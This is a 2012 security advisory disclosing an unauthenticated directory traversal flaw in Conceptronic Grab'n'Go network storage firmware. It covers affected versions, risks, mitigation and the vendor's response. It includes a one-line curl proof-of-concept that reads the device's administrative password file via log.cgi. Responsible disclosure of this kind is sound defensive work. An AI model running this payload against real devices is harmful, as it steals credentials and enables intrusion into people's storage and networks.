Security Advisory AA-003: Directory Traversal Vulnerability in Conceptronic Grab’n’Go Network Storage

Security Advisory AA-003: Directory Traversal Vulnerability in Conceptronic Grab’n’Go Network Storage

Severity Rating: High

Discovery Date: July 29, 2012

Vendor Notification: July 30, 2012

Disclosure Date: September 3, 2012

Vulnerability Type=

Directory Traversal

Impact=

- System Access

- Exposure of sensitive information

Severity=

Alcyon rates the severity of this vulnerability as high due to the following properties:

- Ease of exploitation;

- No authentication credentials required;

- No knowledge about individual victims required;

- No interaction with the victim required;

- Number of Internet connected devices found.

Products and firmware versions affected=

- Conceptronic CH3ENAS firmware versions up to and including 3.0.12

- Conceptronic CH3HNAS firmware versions up to and including 2.4.13

- Possibly other rebranded Mapower network storage products

Risk Assessment=

An attacker can read arbitrary files, including the files that stores the administrative password.

This means an attacer could:

- Steal sensitive data stored on the device;

- Leverage the device to drop and/or host malware;

- Abuse the device to send spam through the victim’s Internet connection;

- Use the device as a pivot point to access locally connected systems or launch attacks directed to other systems.

Vulnerability=

The CGI-script that is responsible for showing the device logs is affected by a directory traversal vulnerability that

allows an attacker to view arbitrary files.

Proof of Concept Exploit=

curl "http://<victimIP>/cgi-bin/log.cgi?syslog&../../etc/sysconfig/config/webmaster.conf&Conceptronic2009"

Risk Mitigation=

At the time of disclosure no updated firmware version was available.

We recommend that you limit access to the devices's web management UI by utilizing proper packet filtering and/or NAT

on your router in order to limit network access to your NAS. Although this will not completely eliminate the risk of

exploitation, it becomes substantially more difficult to leverage a successful attack, because it would involve either

a compromise of another host on the victim’s local network or a client side attack that overcomes the Same Origin

Policy restrictions of the victim’s web browser.

Vendor Response=

- 2L/Conceptronic has declared on August 1 that it is not in their power to influence the manufacturer's patching

process

- Mapower, the manufacturer of the affected products, has contacted us on August 28 for details on reproducing the

issue on a CH3HNAS

- Mapower has confirmed on August 29 that they succesfully have reproduced the PoC exploit on a CH3HNAS and that they

are working on a fix

Fixed Versions=

- There is currently no vendor patch available.

=Latest version of this advisory

http://www.alcyon.nl/advisories/aa-003/